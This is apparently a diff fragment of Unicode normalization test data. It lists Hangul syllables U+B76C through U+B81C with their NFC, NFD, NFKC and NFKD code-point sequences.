+{ source: [0xB76C], NFC: [0xB76C], NFD: [0x1104, 0x1175, 0x11B3], NFKC: [0xB76C], NFKD: [0x1104, 0x1175, 0x11B3] },
+{ source: [0xB76D], NFC: [0xB76D], NFD: [0x1104, 0x1175, 0x11B4], NFKC: [0xB76D], NFKD: [0x1104, 0x1175, 0x11B4] },
+{ source: [0xB76E], NFC: [0xB76E], NFD: [0x1104, 0x1175, 0x11B5], NFKC: [0xB76E], NFKD: [0x1104, 0x1175, 0x11B5] },
+{ source: [0xB76F], NFC: [0xB76F], NFD: [0x1104, 0x1175, 0x11B6], NFKC: [0xB76F], NFKD: [0x1104, 0x1175, 0x11B6] },
+{ source: [0xB770], NFC: [0xB770], NFD: [0x1104, 0x1175, 0x11B7], NFKC: [0xB770], NFKD: [0x1104, 0x1175, 0x11B7] },
+{ source: [0xB771], NFC: [0xB771], NFD: [0x1104, 0x1175, 0x11B8], NFKC: [0xB771], NFKD: [0x1104, 0x1175, 0x11B8] },
+{ source: [0xB772], NFC: [0xB772], NFD: [0x1104, 0x1175, 0x11B9], NFKC: [0xB772], NFKD: [0x1104, 0x1175, 0x11B9] },
+{ source: [0xB773], NFC: [0xB773], NFD: [0x1104, 0x1175, 0x11BA], NFKC: [0xB773], NFKD: [0x1104, 0x1175, 0x11BA] },
+{ source: [0xB774], NFC: [0xB774], NFD: [0x1104, 0x1175, 0x11BB], NFKC: [0xB774], NFKD: [0x1104, 0x1175, 0x11BB] },
+{ source: [0xB775], NFC: [0xB775], NFD: [0x1104, 0x1175, 0x11BC], NFKC: [0xB775], NFKD: [0x1104, 0x1175, 0x11BC] },
+{ source: [0xB776], NFC: [0xB776], NFD: [0x1104, 0x1175, 0x11BD], NFKC: [0xB776], NFKD: [0x1104, 0x1175, 0x11BD] },
+{ source: [0xB777], NFC: [0xB777], NFD: [0x1104, 0x1175, 0x11BE], NFKC: [0xB777], NFKD: [0x1104, 0x1175, 0x11BE] },
+{ source: [0xB778], NFC: [0xB778], NFD: [0x1104, 0x1175, 0x11BF], NFKC: [0xB778], NFKD: [0x1104, 0x1175, 0x11BF] },
+{ source: [0xB779], NFC: [0xB779], NFD: [0x1104, 0x1175, 0x11C0], NFKC: [0xB779], NFKD: [0x1104, 0x1175, 0x11C0] },
+{ source: [0xB77A], NFC: [0xB77A], NFD: [0x1104, 0x1175, 0x11C1], NFKC: [0xB77A], NFKD: [0x1104, 0x1175, 0x11C1] },
+{ source: [0xB77B], NFC: [0xB77B], NFD: [0x1104, 0x1175, 0x11C2], NFKC: [0xB77B], NFKD: [0x1104, 0x1175, 0x11C2] },
+{ source: [0xB77C], NFC: [0xB77C], NFD: [0x1105, 0x1161], NFKC: [0xB77C], NFKD: [0x1105, 0x1161] },
+{ source: [0xB77D], NFC: [0xB77D], NFD: [0x1105, 0x1161, 0x11A8], NFKC: [0xB77D], NFKD: [0x1105, 0x1161, 0x11A8] },
+{ source: [0xB77E], NFC: [0xB77E], NFD: [0x1105, 0x1161, 0x11A9], NFKC: [0xB77E], NFKD: [0x1105, 0x1161, 0x11A9] },
+{ source: [0xB77F], NFC: [0xB77F], NFD: [0x1105, 0x1161, 0x11AA], NFKC: [0xB77F], NFKD: [0x1105, 0x1161, 0x11AA] },
+{ source: [0xB780], NFC: [0xB780], NFD: [0x1105, 0x1161, 0x11AB], NFKC: [0xB780], NFKD: [0x1105, 0x1161, 0x11AB] },
+{ source: [0xB781], NFC: [0xB781], NFD: [0x1105, 0x1161, 0x11AC], NFKC: [0xB781], NFKD: [0x1105, 0x1161, 0x11AC] },
+{ source: [0xB782], NFC: [0xB782], NFD: [0x1105, 0x1161, 0x11AD], NFKC: [0xB782], NFKD: [0x1105, 0x1161, 0x11AD] },
+{ source: [0xB783], NFC: [0xB783], NFD: [0x1105, 0x1161, 0x11AE], NFKC: [0xB783], NFKD: [0x1105, 0x1161, 0x11AE] },
+{ source: [0xB784], NFC: [0xB784], NFD: [0x1105, 0x1161, 0x11AF], NFKC: [0xB784], NFKD: [0x1105, 0x1161, 0x11AF] },
+{ source: [0xB785], NFC: [0xB785], NFD: [0x1105, 0x1161, 0x11B0], NFKC: [0xB785], NFKD: [0x1105, 0x1161, 0x11B0] },
+{ source: [0xB786], NFC: [0xB786], NFD: [0x1105, 0x1161, 0x11B1], NFKC: [0xB786], NFKD: [0x1105, 0x1161, 0x11B1] },
+{ source: [0xB787], NFC: [0xB787], NFD: [0x1105, 0x1161, 0x11B2], NFKC: [0xB787], NFKD: [0x1105, 0x1161, 0x11B2] },
+{ source: [0xB788], NFC: [0xB788], NFD: [0x1105, 0x1161, 0x11B3], NFKC: [0xB788], NFKD: [0x1105, 0x1161, 0x11B3] },
+{ source: [0xB789], NFC: [0xB789], NFD: [0x1105, 0x1161, 0x11B4], NFKC: [0xB789], NFKD: [0x1105, 0x1161, 0x11B4] },
+{ source: [0xB78A], NFC: [0xB78A], NFD: [0x1105, 0x1161, 0x11B5], NFKC: [0xB78A], NFKD: [0x1105, 0x1161, 0x11B5] },
+{ source: [0xB78B], NFC: [0xB78B], NFD: [0x1105, 0x1161, 0x11B6], NFKC: [0xB78B], NFKD: [0x1105, 0x1161, 0x11B6] },
+{ source: [0xB78C], NFC: [0xB78C], NFD: [0x1105, 0x1161, 0x11B7], NFKC: [0xB78C], NFKD: [0x1105, 0x1161, 0x11B7] },
+{ source: [0xB78D], NFC: [0xB78D], NFD: [0x1105, 0x1161, 0x11B8], NFKC: [0xB78D], NFKD: [0x1105, 0x1161, 0x11B8] },
+{ source: [0xB78E], NFC: [0xB78E], NFD: [0x1105, 0x1161, 0x11B9], NFKC: [0xB78E], NFKD: [0x1105, 0x1161, 0x11B9] },
+{ source: [0xB78F], NFC: [0xB78F], NFD: [0x1105, 0x1161, 0x11BA], NFKC: [0xB78F], NFKD: [0x1105, 0x1161, 0x11BA] },
+{ source: [0xB790], NFC: [0xB790], NFD: [0x1105, 0x1161, 0x11BB], NFKC: [0xB790], NFKD: [0x1105, 0x1161, 0x11BB] },
+{ source: [0xB791], NFC: [0xB791], NFD: [0x1105, 0x1161, 0x11BC], NFKC: [0xB791], NFKD: [0x1105, 0x1161, 0x11BC] },
+{ source: [0xB792], NFC: [0xB792], NFD: [0x1105, 0x1161, 0x11BD], NFKC: [0xB792], NFKD: [0x1105, 0x1161, 0x11BD] },
+{ source: [0xB793], NFC: [0xB793], NFD: [0x1105, 0x1161, 0x11BE], NFKC: [0xB793], NFKD: [0x1105, 0x1161, 0x11BE] },
+{ source: [0xB794], NFC: [0xB794], NFD: [0x1105, 0x1161, 0x11BF], NFKC: [0xB794], NFKD: [0x1105, 0x1161, 0x11BF] },
+{ source: [0xB795], NFC: [0xB795], NFD: [0x1105, 0x1161, 0x11C0], NFKC: [0xB795], NFKD: [0x1105, 0x1161, 0x11C0] },
+{ source: [0xB796], NFC: [0xB796], NFD: [0x1105, 0x1161, 0x11C1], NFKC: [0xB796], NFKD: [0x1105, 0x1161, 0x11C1] },
+{ source: [0xB797], NFC: [0xB797], NFD: [0x1105, 0x1161, 0x11C2], NFKC: [0xB797], NFKD: [0x1105, 0x1161, 0x11C2] },
+{ source: [0xB798], NFC: [0xB798], NFD: [0x1105, 0x1162], NFKC: [0xB798], NFKD: [0x1105, 0x1162] },
+{ source: [0xB799], NFC: [0xB799], NFD: [0x1105, 0x1162, 0x11A8], NFKC: [0xB799], NFKD: [0x1105, 0x1162, 0x11A8] },
+{ source: [0xB79A], NFC: [0xB79A], NFD: [0x1105, 0x1162, 0x11A9], NFKC: [0xB79A], NFKD: [0x1105, 0x1162, 0x11A9] },
+{ source: [0xB79B], NFC: [0xB79B], NFD: [0x1105, 0x1162, 0x11AA], NFKC: [0xB79B], NFKD: [0x1105, 0x1162, 0x11AA] },
+{ source: [0xB79C], NFC: [0xB79C], NFD: [0x1105, 0x1162, 0x11AB], NFKC: [0xB79C], NFKD: [0x1105, 0x1162, 0x11AB] },
+{ source: [0xB79D], NFC: [0xB79D], NFD: [0x1105, 0x1162, 0x11AC], NFKC: [0xB79D], NFKD: [0x1105, 0x1162, 0x11AC] },
+{ source: [0xB79E], NFC: [0xB79E], NFD: [0x1105, 0x1162, 0x11AD], NFKC: [0xB79E], NFKD: [0x1105, 0x1162, 0x11AD] },
+{ source: [0xB79F], NFC: [0xB79F], NFD: [0x1105, 0x1162, 0x11AE], NFKC: [0xB79F], NFKD: [0x1105, 0x1162, 0x11AE] },
+{ source: [0xB7A0], NFC: [0xB7A0], NFD: [0x1105, 0x1162, 0x11AF], NFKC: [0xB7A0], NFKD: [0x1105, 0x1162, 0x11AF] },
+{ source: [0xB7A1], NFC: [0xB7A1], NFD: [0x1105, 0x1162, 0x11B0], NFKC: [0xB7A1], NFKD: [0x1105, 0x1162, 0x11B0] },
+{ source: [0xB7A2], NFC: [0xB7A2], NFD: [0x1105, 0x1162, 0x11B1], NFKC: [0xB7A2], NFKD: [0x1105, 0x1162, 0x11B1] },
+{ source: [0xB7A3], NFC: [0xB7A3], NFD: [0x1105, 0x1162, 0x11B2], NFKC: [0xB7A3], NFKD: [0x1105, 0x1162, 0x11B2] },
+{ source: [0xB7A4], NFC: [0xB7A4], NFD: [0x1105, 0x1162, 0x11B3], NFKC: [0xB7A4], NFKD: [0x1105, 0x1162, 0x11B3] },
+{ source: [0xB7A5], NFC: [0xB7A5], NFD: [0x1105, 0x1162, 0x11B4], NFKC: [0xB7A5], NFKD: [0x1105, 0x1162, 0x11B4] },
+{ source: [0xB7A6], NFC: [0xB7A6], NFD: [0x1105, 0x1162, 0x11B5], NFKC: [0xB7A6], NFKD: [0x1105, 0x1162, 0x11B5] },
+{ source: [0xB7A7], NFC: [0xB7A7], NFD: [0x1105, 0x1162, 0x11B6], NFKC: [0xB7A7], NFKD: [0x1105, 0x1162, 0x11B6] },
+{ source: [0xB7A8], NFC: [0xB7A8], NFD: [0x1105, 0x1162, 0x11B7], NFKC: [0xB7A8], NFKD: [0x1105, 0x1162, 0x11B7] },
+{ source: [0xB7A9], NFC: [0xB7A9], NFD: [0x1105, 0x1162, 0x11B8], NFKC: [0xB7A9], NFKD: [0x1105, 0x1162, 0x11B8] },
+{ source: [0xB7AA], NFC: [0xB7AA], NFD: [0x1105, 0x1162, 0x11B9], NFKC: [0xB7AA], NFKD: [0x1105, 0x1162, 0x11B9] },
+{ source: [0xB7AB], NFC: [0xB7AB], NFD: [0x1105, 0x1162, 0x11BA], NFKC: [0xB7AB], NFKD: [0x1105, 0x1162, 0x11BA] },
+{ source: [0xB7AC], NFC: [0xB7AC], NFD: [0x1105, 0x1162, 0x11BB], NFKC: [0xB7AC], NFKD: [0x1105, 0x1162, 0x11BB] },
+{ source: [0xB7AD], NFC: [0xB7AD], NFD: [0x1105, 0x1162, 0x11BC], NFKC: [0xB7AD], NFKD: [0x1105, 0x1162, 0x11BC] },
+{ source: [0xB7AE], NFC: [0xB7AE], NFD: [0x1105, 0x1162, 0x11BD], NFKC: [0xB7AE], NFKD: [0x1105, 0x1162, 0x11BD] },
+{ source: [0xB7AF], NFC: [0xB7AF], NFD: [0x1105, 0x1162, 0x11BE], NFKC: [0xB7AF], NFKD: [0x1105, 0x1162, 0x11BE] },
+{ source: [0xB7B0], NFC: [0xB7B0], NFD: [0x1105, 0x1162, 0x11BF], NFKC: [0xB7B0], NFKD: [0x1105, 0x1162, 0x11BF] },
+{ source: [0xB7B1], NFC: [0xB7B1], NFD: [0x1105, 0x1162, 0x11C0], NFKC: [0xB7B1], NFKD: [0x1105, 0x1162, 0x11C0] },
+{ source: [0xB7B2], NFC: [0xB7B2], NFD: [0x1105, 0x1162, 0x11C1], NFKC: [0xB7B2], NFKD: [0x1105, 0x1162, 0x11C1] },
+{ source: [0xB7B3], NFC: [0xB7B3], NFD: [0x1105, 0x1162, 0x11C2], NFKC: [0xB7B3], NFKD: [0x1105, 0x1162, 0x11C2] },
+{ source: [0xB7B4], NFC: [0xB7B4], NFD: [0x1105, 0x1163], NFKC: [0xB7B4], NFKD: [0x1105, 0x1163] },
+{ source: [0xB7B5], NFC: [0xB7B5], NFD: [0x1105, 0x1163, 0x11A8], NFKC: [0xB7B5], NFKD: [0x1105, 0x1163, 0x11A8] },
+{ source: [0xB7B6], NFC: [0xB7B6], NFD: [0x1105, 0x1163, 0x11A9], NFKC: [0xB7B6], NFKD: [0x1105, 0x1163, 0x11A9] },
+{ source: [0xB7B7], NFC: [0xB7B7], NFD: [0x1105, 0x1163, 0x11AA], NFKC: [0xB7B7], NFKD: [0x1105, 0x1163, 0x11AA] },
+{ source: [0xB7B8], NFC: [0xB7B8], NFD: [0x1105, 0x1163, 0x11AB], NFKC: [0xB7B8], NFKD: [0x1105, 0x1163, 0x11AB] },
+{ source: [0xB7B9], NFC: [0xB7B9], NFD: [0x1105, 0x1163, 0x11AC], NFKC: [0xB7B9], NFKD: [0x1105, 0x1163, 0x11AC] },
+{ source: [0xB7BA], NFC: [0xB7BA], NFD: [0x1105, 0x1163, 0x11AD], NFKC: [0xB7BA], NFKD: [0x1105, 0x1163, 0x11AD] },
+{ source: [0xB7BB], NFC: [0xB7BB], NFD: [0x1105, 0x1163, 0x11AE], NFKC: [0xB7BB], NFKD: [0x1105, 0x1163, 0x11AE] },
+{ source: [0xB7BC], NFC: [0xB7BC], NFD: [0x1105, 0x1163, 0x11AF], NFKC: [0xB7BC], NFKD: [0x1105, 0x1163, 0x11AF] },
+{ source: [0xB7BD], NFC: [0xB7BD], NFD: [0x1105, 0x1163, 0x11B0], NFKC: [0xB7BD], NFKD: [0x1105, 0x1163, 0x11B0] },
+{ source: [0xB7BE], NFC: [0xB7BE], NFD: [0x1105, 0x1163, 0x11B1], NFKC: [0xB7BE], NFKD: [0x1105, 0x1163, 0x11B1] },
+{ source: [0xB7BF], NFC: [0xB7BF], NFD: [0x1105, 0x1163, 0x11B2], NFKC: [0xB7BF], NFKD: [0x1105, 0x1163, 0x11B2] },
+{ source: [0xB7C0], NFC: [0xB7C0], NFD: [0x1105, 0x1163, 0x11B3], NFKC: [0xB7C0], NFKD: [0x1105, 0x1163, 0x11B3] },
+{ source: [0xB7C1], NFC: [0xB7C1], NFD: [0x1105, 0x1163, 0x11B4], NFKC: [0xB7C1], NFKD: [0x1105, 0x1163, 0x11B4] },
+{ source: [0xB7C2], NFC: [0xB7C2], NFD: [0x1105, 0x1163, 0x11B5], NFKC: [0xB7C2], NFKD: [0x1105, 0x1163, 0x11B5] },
+{ source: [0xB7C3], NFC: [0xB7C3], NFD: [0x1105, 0x1163, 0x11B6], NFKC: [0xB7C3], NFKD: [0x1105, 0x1163, 0x11B6] },
+{ source: [0xB7C4], NFC: [0xB7C4], NFD: [0x1105, 0x1163, 0x11B7], NFKC: [0xB7C4], NFKD: [0x1105, 0x1163, 0x11B7] },
+{ source: [0xB7C5], NFC: [0xB7C5], NFD: [0x1105, 0x1163, 0x11B8], NFKC: [0xB7C5], NFKD: [0x1105, 0x1163, 0x11B8] },
+{ source: [0xB7C6], NFC: [0xB7C6], NFD: [0x1105, 0x1163, 0x11B9], NFKC: [0xB7C6], NFKD: [0x1105, 0x1163, 0x11B9] },
+{ source: [0xB7C7], NFC: [0xB7C7], NFD: [0x1105, 0x1163, 0x11BA], NFKC: [0xB7C7], NFKD: [0x1105, 0x1163, 0x11BA] },
+{ source: [0xB7C8], NFC: [0xB7C8], NFD: [0x1105, 0x1163, 0x11BB], NFKC: [0xB7C8], NFKD: [0x1105, 0x1163, 0x11BB] },
+{ source: [0xB7C9], NFC: [0xB7C9], NFD: [0x1105, 0x1163, 0x11BC], NFKC: [0xB7C9], NFKD: [0x1105, 0x1163, 0x11BC] },
+{ source: [0xB7CA], NFC: [0xB7CA], NFD: [0x1105, 0x1163, 0x11BD], NFKC: [0xB7CA], NFKD: [0x1105, 0x1163, 0x11BD] },
+{ source: [0xB7CB], NFC: [0xB7CB], NFD: [0x1105, 0x1163, 0x11BE], NFKC: [0xB7CB], NFKD: [0x1105, 0x1163, 0x11BE] },
+{ source: [0xB7CC], NFC: [0xB7CC], NFD: [0x1105, 0x1163, 0x11BF], NFKC: [0xB7CC], NFKD: [0x1105, 0x1163, 0x11BF] },
+{ source: [0xB7CD], NFC: [0xB7CD], NFD: [0x1105, 0x1163, 0x11C0], NFKC: [0xB7CD], NFKD: [0x1105, 0x1163, 0x11C0] },
+{ source: [0xB7CE], NFC: [0xB7CE], NFD: [0x1105, 0x1163, 0x11C1], NFKC: [0xB7CE], NFKD: [0x1105, 0x1163, 0x11C1] },
+{ source: [0xB7CF], NFC: [0xB7CF], NFD: [0x1105, 0x1163, 0x11C2], NFKC: [0xB7CF], NFKD: [0x1105, 0x1163, 0x11C2] },
+{ source: [0xB7D0], NFC: [0xB7D0], NFD: [0x1105, 0x1164], NFKC: [0xB7D0], NFKD: [0x1105, 0x1164] },
+{ source: [0xB7D1], NFC: [0xB7D1], NFD: [0x1105, 0x1164, 0x11A8], NFKC: [0xB7D1], NFKD: [0x1105, 0x1164, 0x11A8] },
+{ source: [0xB7D2], NFC: [0xB7D2], NFD: [0x1105, 0x1164, 0x11A9], NFKC: [0xB7D2], NFKD: [0x1105, 0x1164, 0x11A9] },
+{ source: [0xB7D3], NFC: [0xB7D3], NFD: [0x1105, 0x1164, 0x11AA], NFKC: [0xB7D3], NFKD: [0x1105, 0x1164, 0x11AA] },
+{ source: [0xB7D4], NFC: [0xB7D4], NFD: [0x1105, 0x1164, 0x11AB], NFKC: [0xB7D4], NFKD: [0x1105, 0x1164, 0x11AB] },
+{ source: [0xB7D5], NFC: [0xB7D5], NFD: [0x1105, 0x1164, 0x11AC], NFKC: [0xB7D5], NFKD: [0x1105, 0x1164, 0x11AC] },
+{ source: [0xB7D6], NFC: [0xB7D6], NFD: [0x1105, 0x1164, 0x11AD], NFKC: [0xB7D6], NFKD: [0x1105, 0x1164, 0x11AD] },
+{ source: [0xB7D7], NFC: [0xB7D7], NFD: [0x1105, 0x1164, 0x11AE], NFKC: [0xB7D7], NFKD: [0x1105, 0x1164, 0x11AE] },
+{ source: [0xB7D8], NFC: [0xB7D8], NFD: [0x1105, 0x1164, 0x11AF], NFKC: [0xB7D8], NFKD: [0x1105, 0x1164, 0x11AF] },
+{ source: [0xB7D9], NFC: [0xB7D9], NFD: [0x1105, 0x1164, 0x11B0], NFKC: [0xB7D9], NFKD: [0x1105, 0x1164, 0x11B0] },
+{ source: [0xB7DA], NFC: [0xB7DA], NFD: [0x1105, 0x1164, 0x11B1], NFKC: [0xB7DA], NFKD: [0x1105, 0x1164, 0x11B1] },
+{ source: [0xB7DB], NFC: [0xB7DB], NFD: [0x1105, 0x1164, 0x11B2], NFKC: [0xB7DB], NFKD: [0x1105, 0x1164, 0x11B2] },
+{ source: [0xB7DC], NFC: [0xB7DC], NFD: [0x1105, 0x1164, 0x11B3], NFKC: [0xB7DC], NFKD: [0x1105, 0x1164, 0x11B3] },
+{ source: [0xB7DD], NFC: [0xB7DD], NFD: [0x1105, 0x1164, 0x11B4], NFKC: [0xB7DD], NFKD: [0x1105, 0x1164, 0x11B4] },
+{ source: [0xB7DE], NFC: [0xB7DE], NFD: [0x1105, 0x1164, 0x11B5], NFKC: [0xB7DE], NFKD: [0x1105, 0x1164, 0x11B5] },
+{ source: [0xB7DF], NFC: [0xB7DF], NFD: [0x1105, 0x1164, 0x11B6], NFKC: [0xB7DF], NFKD: [0x1105, 0x1164, 0x11B6] },
+{ source: [0xB7E0], NFC: [0xB7E0], NFD: [0x1105, 0x1164, 0x11B7], NFKC: [0xB7E0], NFKD: [0x1105, 0x1164, 0x11B7] },
+{ source: [0xB7E1], NFC: [0xB7E1], NFD: [0x1105, 0x1164, 0x11B8], NFKC: [0xB7E1], NFKD: [0x1105, 0x1164, 0x11B8] },
+{ source: [0xB7E2], NFC: [0xB7E2], NFD: [0x1105, 0x1164, 0x11B9], NFKC: [0xB7E2], NFKD: [0x1105, 0x1164, 0x11B9] },
+{ source: [0xB7E3], NFC: [0xB7E3], NFD: [0x1105, 0x1164, 0x11BA], NFKC: [0xB7E3], NFKD: [0x1105, 0x1164, 0x11BA] },
+{ source: [0xB7E4], NFC: [0xB7E4], NFD: [0x1105, 0x1164, 0x11BB], NFKC: [0xB7E4], NFKD: [0x1105, 0x1164, 0x11BB] },
+{ source: [0xB7E5], NFC: [0xB7E5], NFD: [0x1105, 0x1164, 0x11BC], NFKC: [0xB7E5], NFKD: [0x1105, 0x1164, 0x11BC] },
+{ source: [0xB7E6], NFC: [0xB7E6], NFD: [0x1105, 0x1164, 0x11BD], NFKC: [0xB7E6], NFKD: [0x1105, 0x1164, 0x11BD] },
+{ source: [0xB7E7], NFC: [0xB7E7], NFD: [0x1105, 0x1164, 0x11BE], NFKC: [0xB7E7], NFKD: [0x1105, 0x1164, 0x11BE] },
+{ source: [0xB7E8], NFC: [0xB7E8], NFD: [0x1105, 0x1164, 0x11BF], NFKC: [0xB7E8], NFKD: [0x1105, 0x1164, 0x11BF] },
+{ source: [0xB7E9], NFC: [0xB7E9], NFD: [0x1105, 0x1164, 0x11C0], NFKC: [0xB7E9], NFKD: [0x1105, 0x1164, 0x11C0] },
+{ source: [0xB7EA], NFC: [0xB7EA], NFD: [0x1105, 0x1164, 0x11C1], NFKC: [0xB7EA], NFKD: [0x1105, 0x1164, 0x11C1] },
+{ source: [0xB7EB], NFC: [0xB7EB], NFD: [0x1105, 0x1164, 0x11C2], NFKC: [0xB7EB], NFKD: [0x1105, 0x1164, 0x11C2] },
+{ source: [0xB7EC], NFC: [0xB7EC], NFD: [0x1105, 0x1165], NFKC: [0xB7EC], NFKD: [0x1105, 0x1165] },
+{ source: [0xB7ED], NFC: [0xB7ED], NFD: [0x1105, 0x1165, 0x11A8], NFKC: [0xB7ED], NFKD: [0x1105, 0x1165, 0x11A8] },
+{ source: [0xB7EE], NFC: [0xB7EE], NFD: [0x1105, 0x1165, 0x11A9], NFKC: [0xB7EE], NFKD: [0x1105, 0x1165, 0x11A9] },
+{ source: [0xB7EF], NFC: [0xB7EF], NFD: [0x1105, 0x1165, 0x11AA], NFKC: [0xB7EF], NFKD: [0x1105, 0x1165, 0x11AA] },
+{ source: [0xB7F0], NFC: [0xB7F0], NFD: [0x1105, 0x1165, 0x11AB], NFKC: [0xB7F0], NFKD: [0x1105, 0x1165, 0x11AB] },
+{ source: [0xB7F1], NFC: [0xB7F1], NFD: [0x1105, 0x1165, 0x11AC], NFKC: [0xB7F1], NFKD: [0x1105, 0x1165, 0x11AC] },
+{ source: [0xB7F2], NFC: [0xB7F2], NFD: [0x1105, 0x1165, 0x11AD], NFKC: [0xB7F2], NFKD: [0x1105, 0x1165, 0x11AD] },
+{ source: [0xB7F3], NFC: [0xB7F3], NFD: [0x1105, 0x1165, 0x11AE], NFKC: [0xB7F3], NFKD: [0x1105, 0x1165, 0x11AE] },
+{ source: [0xB7F4], NFC: [0xB7F4], NFD: [0x1105, 0x1165, 0x11AF], NFKC: [0xB7F4], NFKD: [0x1105, 0x1165, 0x11AF] },
+{ source: [0xB7F5], NFC: [0xB7F5], NFD: [0x1105, 0x1165, 0x11B0], NFKC: [0xB7F5], NFKD: [0x1105, 0x1165, 0x11B0] },
+{ source: [0xB7F6], NFC: [0xB7F6], NFD: [0x1105, 0x1165, 0x11B1], NFKC: [0xB7F6], NFKD: [0x1105, 0x1165, 0x11B1] },
+{ source: [0xB7F7], NFC: [0xB7F7], NFD: [0x1105, 0x1165, 0x11B2], NFKC: [0xB7F7], NFKD: [0x1105, 0x1165, 0x11B2] },
+{ source: [0xB7F8], NFC: [0xB7F8], NFD: [0x1105, 0x1165, 0x11B3], NFKC: [0xB7F8], NFKD: [0x1105, 0x1165, 0x11B3] },
+{ source: [0xB7F9], NFC: [0xB7F9], NFD: [0x1105, 0x1165, 0x11B4], NFKC: [0xB7F9], NFKD: [0x1105, 0x1165, 0x11B4] },
+{ source: [0xB7FA], NFC: [0xB7FA], NFD: [0x1105, 0x1165, 0x11B5], NFKC: [0xB7FA], NFKD: [0x1105, 0x1165, 0x11B5] },
+{ source: [0xB7FB], NFC: [0xB7FB], NFD: [0x1105, 0x1165, 0x11B6], NFKC: [0xB7FB], NFKD: [0x1105, 0x1165, 0x11B6] },
+{ source: [0xB7FC], NFC: [0xB7FC], NFD: [0x1105, 0x1165, 0x11B7], NFKC: [0xB7FC], NFKD: [0x1105, 0x1165, 0x11B7] },
+{ source: [0xB7FD], NFC: [0xB7FD], NFD: [0x1105, 0x1165, 0x11B8], NFKC: [0xB7FD], NFKD: [0x1105, 0x1165, 0x11B8] },
+{ source: [0xB7FE], NFC: [0xB7FE], NFD: [0x1105, 0x1165, 0x11B9], NFKC: [0xB7FE], NFKD: [0x1105, 0x1165, 0x11B9] },
+{ source: [0xB7FF], NFC: [0xB7FF], NFD: [0x1105, 0x1165, 0x11BA], NFKC: [0xB7FF], NFKD: [0x1105, 0x1165, 0x11BA] },
+{ source: [0xB800], NFC: [0xB800], NFD: [0x1105, 0x1165, 0x11BB], NFKC: [0xB800], NFKD: [0x1105, 0x1165, 0x11BB] },
+{ source: [0xB801], NFC: [0xB801], NFD: [0x1105, 0x1165, 0x11BC], NFKC: [0xB801], NFKD: [0x1105, 0x1165, 0x11BC] },
+{ source: [0xB802], NFC: [0xB802], NFD: [0x1105, 0x1165, 0x11BD], NFKC: [0xB802], NFKD: [0x1105, 0x1165, 0x11BD] },
+{ source: [0xB803], NFC: [0xB803], NFD: [0x1105, 0x1165, 0x11BE], NFKC: [0xB803], NFKD: [0x1105, 0x1165, 0x11BE] },
+{ source: [0xB804], NFC: [0xB804], NFD: [0x1105, 0x1165, 0x11BF], NFKC: [0xB804], NFKD: [0x1105, 0x1165, 0x11BF] },
+{ source: [0xB805], NFC: [0xB805], NFD: [0x1105, 0x1165, 0x11C0], NFKC: [0xB805], NFKD: [0x1105, 0x1165, 0x11C0] },
+{ source: [0xB806], NFC: [0xB806], NFD: [0x1105, 0x1165, 0x11C1], NFKC: [0xB806], NFKD: [0x1105, 0x1165, 0x11C1] },
+{ source: [0xB807], NFC: [0xB807], NFD: [0x1105, 0x1165, 0x11C2], NFKC: [0xB807], NFKD: [0x1105, 0x1165, 0x11C2] },
+{ source: [0xB808], NFC: [0xB808], NFD: [0x1105, 0x1166], NFKC: [0xB808], NFKD: [0x1105, 0x1166] },
+{ source: [0xB809], NFC: [0xB809], NFD: [0x1105, 0x1166, 0x11A8], NFKC: [0xB809], NFKD: [0x1105, 0x1166, 0x11A8] },
+{ source: [0xB80A], NFC: [0xB80A], NFD: [0x1105, 0x1166, 0x11A9], NFKC: [0xB80A], NFKD: [0x1105, 0x1166, 0x11A9] },
+{ source: [0xB80B], NFC: [0xB80B], NFD: [0x1105, 0x1166, 0x11AA], NFKC: [0xB80B], NFKD: [0x1105, 0x1166, 0x11AA] },
+{ source: [0xB80C], NFC: [0xB80C], NFD: [0x1105, 0x1166, 0x11AB], NFKC: [0xB80C], NFKD: [0x1105, 0x1166, 0x11AB] },
+{ source: [0xB80D], NFC: [0xB80D], NFD: [0x1105, 0x1166, 0x11AC], NFKC: [0xB80D], NFKD: [0x1105, 0x1166, 0x11AC] },
+{ source: [0xB80E], NFC: [0xB80E], NFD: [0x1105, 0x1166, 0x11AD], NFKC: [0xB80E], NFKD: [0x1105, 0x1166, 0x11AD] },
+{ source: [0xB80F], NFC: [0xB80F], NFD: [0x1105, 0x1166, 0x11AE], NFKC: [0xB80F], NFKD: [0x1105, 0x1166, 0x11AE] },
+{ source: [0xB810], NFC: [0xB810], NFD: [0x1105, 0x1166, 0x11AF], NFKC: [0xB810], NFKD: [0x1105, 0x1166, 0x11AF] },
+{ source: [0xB811], NFC: [0xB811], NFD: [0x1105, 0x1166, 0x11B0], NFKC: [0xB811], NFKD: [0x1105, 0x1166, 0x11B0] },
+{ source: [0xB812], NFC: [0xB812], NFD: [0x1105, 0x1166, 0x11B1], NFKC: [0xB812], NFKD: [0x1105, 0x1166, 0x11B1] },
+{ source: [0xB813], NFC: [0xB813], NFD: [0x1105, 0x1166, 0x11B2], NFKC: [0xB813], NFKD: [0x1105, 0x1166, 0x11B2] },
+{ source: [0xB814], NFC: [0xB814], NFD: [0x1105, 0x1166, 0x11B3], NFKC: [0xB814], NFKD: [0x1105, 0x1166, 0x11B3] },
+{ source: [0xB815], NFC: [0xB815], NFD: [0x1105, 0x1166, 0x11B4], NFKC: [0xB815], NFKD: [0x1105, 0x1166, 0x11B4] },
+{ source: [0xB816], NFC: [0xB816], NFD: [0x1105, 0x1166, 0x11B5], NFKC: [0xB816], NFKD: [0x1105, 0x1166, 0x11B5] },
+{ source: [0xB817], NFC: [0xB817], NFD: [0x1105, 0x1166, 0x11B6], NFKC: [0xB817], NFKD: [0x1105, 0x1166, 0x11B6] },
+{ source: [0xB818], NFC: [0xB818], NFD: [0x1105, 0x1166, 0x11B7], NFKC: [0xB818], NFKD: [0x1105, 0x1166, 0x11B7] },
+{ source: [0xB819], NFC: [0xB819], NFD: [0x1105, 0x1166, 0x11B8], NFKC: [0xB819], NFKD: [0x1105, 0x1166, 0x11B8] },
+{ source: [0xB81A], NFC: [0xB81A], NFD: [0x1105, 0x1166, 0x11B9], NFKC: [0xB81A], NFKD: [0x1105, 0x1166, 0x11B9] },
+{ source: [0xB81B], NFC: [0xB81B], NFD: [0x1105, 0x1166, 0x11BA], NFKC: [0xB81B], NFKD: [0x1105, 0x1166, 0x11BA] },
+{ source: [0xB81C], NFC: [0xB81C], NFD: [0x1105, 0x1166, 0x11BB], NFKC: [0xB81C], NFKD: [0x1105, 0x1166, 0x11BB] },
